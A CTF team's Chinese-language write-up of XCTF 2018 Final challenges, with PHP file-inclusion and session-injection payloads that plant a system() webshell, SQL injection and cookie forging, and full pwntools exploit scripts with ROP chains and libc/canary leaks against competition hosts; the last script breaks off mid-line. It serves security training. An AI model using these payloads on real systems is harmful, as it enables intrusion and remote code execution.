Team: De1ta

题目打包链接:https://raw.githubusercontent.com/De1ta-team/CTF_Challenges/master/XCTF2018_Final_Challenges.zip

今年我们De1ta在前面一半XCTF联赛分站赛都没有参加的情况下,以后几场分站赛总积分排名第19勉强挤进XCTF总决赛(感谢r3kapig的大佬们抬了一手),最终我们解题排名第六,攻防排名第九,总分排名第九,给队内所有师傅递茶!tql

顺便打个小广告:De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

[TOC]

Web

best php

just try it!
http://10.99.99.16

index.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

从index.php可以看出$_GET['function'] 和 $_SESSION['name'] = $_POST['name'] 可控

其中call_user_func($func,$_GET);回调函数可利用
而且include($file);调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉$file,从而引入文件包含
payload:
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

一开始只是highlight_file给出index.php的源码,利用文件包含读到了admin.php和function.php的源码,不过对解题没啥卵用。

吐槽点:早上题目的环境是php7.2,extract函数是无法动态调用的,然后中午主办方偷偷改了环境为7.0,也不发公告说一声,浪费了很多时间。

调用session_start函数,修改session的位置
从index.php可以看出$_SESSION['name'] = $_POST['name'],session的值可控,session默认的保存位置为

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

由于ini_set('open_basedir', '/var/www/html:/tmp'),我们包含不了/var/lib/下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在/var/lib/下

这里可以调用session_start函数,修改session的位置

这里直接把session写到了web根目录,并且内容可控
再利用变量覆盖,调用文件包含,即可get shell
http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2

payload:

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>
GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1

flag:flag{best_H4cker_in_xctf}

PUBG

chi ji ma?host: 159.138.2.46:8888 http://guaika.txmeili.com:8888/kss_admin/index.php

hint1:先找源码,题目环境正在修复。 Try to find the source code first, the author is fixing the challenge environment.

hint2:题目环境已更新http://guaika.txmeili.com:8888/a.php,验证码看不到的可以访问这个159.138.22.212; Challegen environmen has been updated, http://guaika.txmeili.com:8888/a.php, if you have problem with authorize code, please access to 159.138.22.212
验证码在 http://guaika.txmeili.com:8888/a.php

扫描目录,发现源码 http://guaika.txmeili.com:8888/www.zip

部分文件使用了ZEND/PHP5.2加密,解密工具:https://pan.baidu.com/s/1eQjnVGm ,选择“PHP 5.2 NM 解码”,解密后变量名还是有点乱,可以用 http://www.zhaoyuanma.com/phpzendfix.html 进行变量名的修复。

在/kss_inc/payapi_return.php 中发现存在SQL注入:

SerialNo参数可以进行盲注:

使用sqlmap可以拖出数据,需要加option --risk 3 --level 5 --string="易付通URL签名不正确"
因为在默认的risk(1)和level(1)下sqlmap会跳过对or型盲注的检测
--string的作用为

拖出数据,构造cookie获得admin权限。根据/kss_inc/db_function.php iZSVk4mLkY函数逻辑构造cookie中的kss_manager,根据/kss_inc/function.php jZKVlY6Hk函数逻辑构造cookie中的kss_manager_ver
kss_manager=1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef
kss_manager_ver=md5(kss_manager.COOKKEY)
efefefef是/kss_inc/db_function.php中的后门linecode值,COOKKEY的值可以在/kss_inc/_config.php中找到。从而我们可以登录管理后台。

接下来考虑如何getshell。在/kss_admin/中存在升级功能,

跟进该函数,发现其使用了回调函数read_body

read_body函数使用了file_put_contents函数将curl的返回结果写入/kss_tools/_webup.php

如果我们能够控制curl的返回内容,我们就能实现getshell
我们看到url里拼接的变量是可控的:

http://api.hphu.com/test/kss_admin/index.php 有一套demo,同时,在/kss_inc/function.php可以看到SQL注入过滤函数i4mIkpO,其中对SQL敏感字符过滤的部分:

可以看到,该过滤函数会将有敏感字符的部分直接回显,利用这个函数,结合可控的拼接到url的变量,我们可以控制curl http://api.hphu.com 某个文件的返回内容getshell

那么,我们全局查找一下使用了该函数的文件,发现很多文件都用了该函数,例如/kss_admin/admin_logs.php

尝试构造:

写shell:

getflag:

flag:flag{@_n1ce_s1ng@p0r3tr1p:)}

PS:附上队内@aye 师傅的Web wp:
baby php:https://www.jianshu.com/p/7d63eca80686
PUBG:https://www.jianshu.com/p/bad7af1a631c

Pwn

nobof

nc 10.99.99.16 29999

这道题是用clang编译的,用了safestack

审了一遍,发现get_int函数能在safestack上面溢出,但是并没有什么用,利用不了

menu这个格式化字符串漏洞非常明显,但是只能用来leak,因为检测了有没有n这个字母

最后审出来的是下标溢出漏洞,基本存在于每个有用到下标的地方

我们用update来解释下

首先get_int会读取一个数字,然后判断是否大于256,但是v1其实是可以为负数

例如v1 = 0xf0000001,这个在程序里面判断的是一个小于0的数

然后在下面&books[64 * v1 + 2] 这个地方

v1*64= 0xf0000001 <<8 = 0x00000100

这样就能bypass它的v1<256这个检查

那么能用来干什么呢?

很明显可以去写libc的malloc_hook或者free_hook,还可以去写栈,直接rop

最后选择了直接去写栈,不过因为栈地址会变,所以我限制了一下栈地址的范围,不然写着写着会报错

下面是简单的payload

from pwn import *

debug=0

context.log_level='debug'

if debug:
    p=process('./no-bof')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
    e=ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    p=remote('10.99.99.16', 29999)
    e=ELF('./x32_libc-2.19.so')

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

ru('Your input: ')
sl('4 %47$p%26$p')
ru('Your choice is:4 ')
data=ru('&#92;n')
ru('Your input: ')

libc=int(data[:10],16)
stack=int(data[10:20],16)


if debug:
    base=libc-0x18637
else:
    base=libc-0x19AD3
book=0x84978E4
'''
binsh=base+e.search('/bin/sh').next()

offset=(binsh-book)&gt;&gt;8
offset+=0
target=book+offset*0x100+8

offset+=0xf0000000
offset=offset-0x100000000

print(hex(target))
print(hex(binsh))
print(hex(target-base))
print(hex(base))

sl('5')
ru('which book do you want to print?')
sl(str(offset))
'''
offset=(stack-book)&gt;&gt;8

target=book+offset*0x100+8

if stack-target&lt;0x2c or stack-target&gt;0x5c:
    exit()


offset+=0xf0000000
offset=offset-0x100000000

binsh=base+e.search('/bin/sh').next()
system=base+e.symbols['system']


sl('2')
ru('which book do you want to update?')
sl(str(offset))
ru('Book title: ')
sl('&#92;x00'*(stack-0x2c-target)+p32(system)+p32(binsh)*2)
ru('Book price: ')
sl('1')


p.interactive()

reader

nc 10.99.99.16 19999

这道题感觉有点坑爹,首先随便审了一下main函数,发现好像有一个任意执行

但是后面却发现,这里根本利用不了........

题目有这些功能

  1. input original raw text
  2. input paper form text
  3. input book form text
  4. export book to paper
  5. export paper to book
  6. proofread input material with raw text
  7. delete
  8. show file

下面来解释一下这些功能

input original raw text

简单的读255字节到bss段

input paper form text

选择写入哪一个paper,然后读取

content: 255个字节
title: 31个字节
description: 127个字节

再用strlen来得到content的长度,写进结构体的第四个字节处

input book form text

选择写入哪一个book,然后读取

content: 255个字节
title: 31个字节
description: 255个字节

再用strlen来得到content的长度,写进结构体的第四个字节处

export book to paper

选择将哪个book复制到哪个paper

具体是,将book的content的size写到paper的content的size处

然后
memcpy( paper's content, book's content, 0xff);
memcpy( paper's title, book's title, 0xff);
memcpy( paper's description, book's description, 0xff);

这里就漏洞的所在点,这里能溢出到下一个paper的size和content

export paper to book

和上一个功能差不多,不多说了

proofread input material with raw text

首先计算了某个paper或book的content和 raw_content有前多少个字节相等

然后让你猜大概前多少个字节相等

假如你猜的前n个字节是相等的,那么它就会用strncmp来判断,返回的结果是相等的话,就会打印栈上读进来content的前n个字节

这里的漏洞就是利用了strncmp是用于字符串判断相等的,假如我们content和raw content 都是空的,这里也会返回判断相等

但是n的话可以是一个很大的数,这样就能leak出栈上的内容

delete

首先会在栈上开辟book或paper结构体大小的空间

然后再memcpy到上面,最后memset原来的内存

但是这里它忘记判断content的size的大小,直接就memcpy上去了,所以就造成栈溢出了

所以利用链大概是

  1. leak出栈上有用的信息
  2. 溢出改paper的content size位
  3. 写rop链到下一个paper
  4. delete被改size位的paper,get shell

下面是比赛的时候写的payload,可能不太简洁,凑合着看吧

from pwn import *

debug=0

context.log_level='debug'

if debug:
    p=process('./reder')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
else:
    p=remote('10.99.99.16',19999)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def input_raw(x):
    sl('1')
    ru('please input your raw text')
    sl(x)
    ru('&gt;')

def inn(idx,id,content,title,desc):
    sl(str(idx))
    ru('Where you want to edit/input?')
    sl(str(id))
    ru('please input content')
    se(content)
    ru('input your title')
    se(title)
    ru('input your description&#92;n&gt;')
    se(desc)
    ru('&gt;')

def export(idx,id1,id2):
    sl(str(idx))
    ru('Which book you want to export')
    sl(str(id1))
    ru('where you want to output')
    sl(str(id2))
    ru('&gt;')



def mexit():
    sl('q')
    ru('Are you sure you want to exit?(y/n)')
    sl('n')
    ru('&gt;')

sl('6')
ru('what do you want to proofread?')
sl('1')
ru('which one you want to proofread?')
sl('1')
ru('how many words you assume are same?')
sl('400')
ru('&#92;x00'*0x108)

data=ru('&#92;n')[:-1]
pbase=u64(data[:8])-0x138F

libc=u64(data[-8:])

if debug:
    base=libc-0x20830
else:
    base=libc-0x21F45

ru('&gt;')

inn(3,1,'a'*0xff,'b'*0x1f,'c'*0x80+p32(0)+p32(0x300)+cyclic(0x77))


inn(2,2,cyclic(1),'q'*0x1f,cyclic(1))
payload='a'*120+p64(pbase+0x203000+0x100)+cyclic(8)+p64(pbase+0x203000+0x100)+'a'*8+p64(base+0x4647c)

inn(3,3,cyclic(0xff),'b'*0x1f,payload)
export(4,1,1)
export(4,3,2)

sl('7')
ru('what do you want to delete?')
sl('1')
ru('which one you want to delete?')
sl('2')
print(hex(pbase))
print(hex(libc))
p.interactive()

Misc

Mysterious signals

hint:无线射频频谱 radio frequency spectrum

使用cool edit pro2打开文件,在"查看"一栏选择"光谱显示窗"即可看到flag

flag:flag{756e69636f726e}

核弹遥控器密码

hint:芯片型号pt2242,24位有效数据 pt2242 chipset, 24 bits of valid data

pt2242是固定码芯片

通过inspectrum(https://github.com/miek/inspectrum)这个工具来分析信号

结合https://www.freebuf.com/articles/wireless/146781.html 教程,可以调出:

其中,高电平长的为1,低电平长的为0

00000001011110100101100
转16进制为flag,17A59
吐槽一下,一开始出题人没说flag是16进制大写,害得我们试了好久,还以为方法错了

flag:17A59

诡异的校验

捕获到一份受干扰的信号文件,万幸的是被干扰的部分只是数据校验部位,必须要根据仅剩的信号还原出全部数据(十六进制)

hint1:http://ingelect.esy.es/pdf/FXTH871x7.pdf 20959185b1115208(射频文件解码后的数据)
http://ingelect.esy.es/pdf/FXTH871x7.pdf 20959185b1115208(data of decoded spectrum file)
hint2:We have updated the challenge information, add English description as below: We captured a disturbed signal file, fortunately, only the checksum has been disturbed, you should recover all the data according to the remaining signals(hex).

在github上搜索FXTH871x7,找到这个:

猜测校验位置是crc

计算出crc16

拼接到数据后面得到flag

flag:20959185b1115208133f

AWD

pubg

漏洞其实挺明显的,首先gou那个函数 有一个格式化字符串漏洞,可以leak一些地址,利用%x%x%x%lx能leak到一个ld.so附近的地址

在gou函数那里,它还会让你猜3个byte的随机数,如果强行爆破的话是不行的,因为概率是1/(256256256)

但是格式化字符串漏洞%x%x,第二个leak出来的东西是猜中的数量,所以利用这个就可以爆破出来,爆破最多256*3次就行了

爆破完之后到gang那个函数有一个任意读,利用上面leak的ld.so附近的地址,可以leak出canary,因为canary会在那附近存一下

任意读完之后,有一个栈溢出,利用栈溢出就可以进行rop来get shell

这里还有一个坑点就是,本地ld.so和libc.so的偏移和服务器的不同,后面强行爆破了一波

from pwn import *
import re


debug=1

#context.log_level='debug'
e=ELF('./libc-2.23.so')

if debug:
    p=process('./pubg')
else:
    p=remote('192.168.20.11',20001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def choose(x,s):
    ru('&gt; ')
    sl(str(x))
    ru('which one is your favorite?')
    sl(str(s))
    ru('&gt; ')

def gou(x,con=False):
    sl('2')
    ru('Maybe you can get an airdrop. Tell me your position:&#92;n')
    sl(x)
    if not con:
        data=ru(' has')[:-4]
        ru('&gt; ')
        return data
    else:
        ru('&gt; ')

def gang(x):
    sl('1')
    ru('Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:')
    sl(str(x))
    ru('The ')
    cookie=ru(' ch')[:-3]
    cookie=cookie[:15]

    payload=cyclic(40)+'&#92;x00'+cookie+p64(base+0x4526a)+'&#92;x00'*0x100
    sl(payload)    


def brute():
    secert=''
    for i in range(3):
        for q in range(1,256):
            if chr(q)=='$' or chr(q)=='*' or chr(q)=='n':
                continue
            if gou(secert+chr(q)+'%x%x')[i+3]==str(i+1):
                secert+=chr(q)
                break
    return secert


choose(1,1)
libc=int(gou('%x%x%x%lx')[5:],16)
tbase=libc-0x5D3700
if debug:
    base=tbase
else:
    base=libc-0x5D3700-0x4000-0x16000



secert=brute()+'&#92;00'
context.log_level='debug'
gou(secert,True)
gang(tbase+0x5D3728+1)

ru('icken is on your plate, enjoy it~')
p.sendline('cat flag')
flag=ru('&#92;n')



p.interactive()

randbattle

这题相对简单点,所以就做了这题,不过这题出得有点恶心,能搅屎..........

首先题目有3个选项

  1. Double Dice Game
  2. Triple Dice Game
  3. Combination Game

首先先来说下第一个功能

Double Dice Game

它会rand三个数,然后让你去猜,假如说你没进第三个功能,那么一开始就是srand(0)的,因此这三个数是固定的


如果三个数都成功猜中,它会让你输入5byte,但实际是4byte的密码,然后读取flag,用输入的密码加密,加密的方法是tea加密

加密完之后,它会判断是否存在一个 /tmp/qualiii 这个文件,如果存在的话就会返回上一层

不存在的话,它会创建并将flag写入到其中,然后sleep,sleep完之后,如果文件还存在的话,就会打印加密后的flag

Triple Dice Game

这里分为3个部分

第一个函数会首先srand(time(0)) 然后再rand了三个字母,第二个函数打印这三个字母,然后第三个函数是读取的,读取然后之后判断输入是否正确

如果正确的话,会进到最后一个函数

这里还是让你猜3个数,猜中之后


能删除 /tmp/qualiii这个文件

Combination Game

前面是猜字母加猜数字

猜中之后,能打印出/tmp/qualiii的内容

下面是一个简单的payload,没人竞争的时候能读出flag,至于怎么心机的利用这几个功能去搅屎和反搅屎,这里就不多说了.......(策略太多了

from pwn import *
import ctypes
LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so')

debug=1

context.log_level='debug'

if debug:
    p=process('./randbattle')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
else:
    p=remote('192.168.20.13',20003)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

import sys
from ctypes import *


def decipher(v, k):
    y = c_uint32(v[0])
    z = c_uint32(v[1])
    sum = c_uint32(0xc6ef3720)
    delta = 0x9e3779b9
    n = 32
    w = [0,0]

    while(n&gt;0):
        z.value -= ( y.value &lt;&lt; 4 ) + k[2] ^ y.value + sum.value ^ ( y.value &gt;&gt; 5 ) + k[3]
        y.value -= ( z.value &lt;&lt; 4 ) + k[0] ^ z.value + sum.value ^ ( z.value &gt;&gt; 5 ) + k[1]
        sum.value -= delta
        n -= 1

    w[0] = y.value
    w[1] = z.value
    return w


def tdice():
    sl('2')
    ru('case2')
    if debug:
        LIBC.srand(LIBC.time(0))
    else:
        LIBC.srand(LIBC.time(0)-20)    
    s=[LIBC.rand()%26+65 for _ in range(3)]
    w=''
    for i in s:
        w+=chr(i)
    w+='&#92;x00'
    se(w)
    ru('num:')
    sl(str(LIBC.rand()%3))
    ru('num:')
    sl(str(LIBC.rand()%3))
    ru('num:')
    sl(str(LIBC.rand()%3))
    ru('Your choice:')


def ddice():
    sl('1')
    ru('num:')
    sl(str(LIBC.rand()%6))
    ru('num:')
    sl(str(LIBC.rand()%6))
    ru('Set your pass:')
    se('&#92;x00'*5)
    ru('Here is your gift:&#92;n')
    flag=ru('C U')[:-3]
    flag=flag.split(':')
    flag=[chr(int(i,16)) for i in flag]
    w=''
    for i in flag:
        w+=i
    t=[]
    key=[0,0,0,0]
    flag=''
    for i in range(0,len(w),

       
       
       

    

Hacking more

...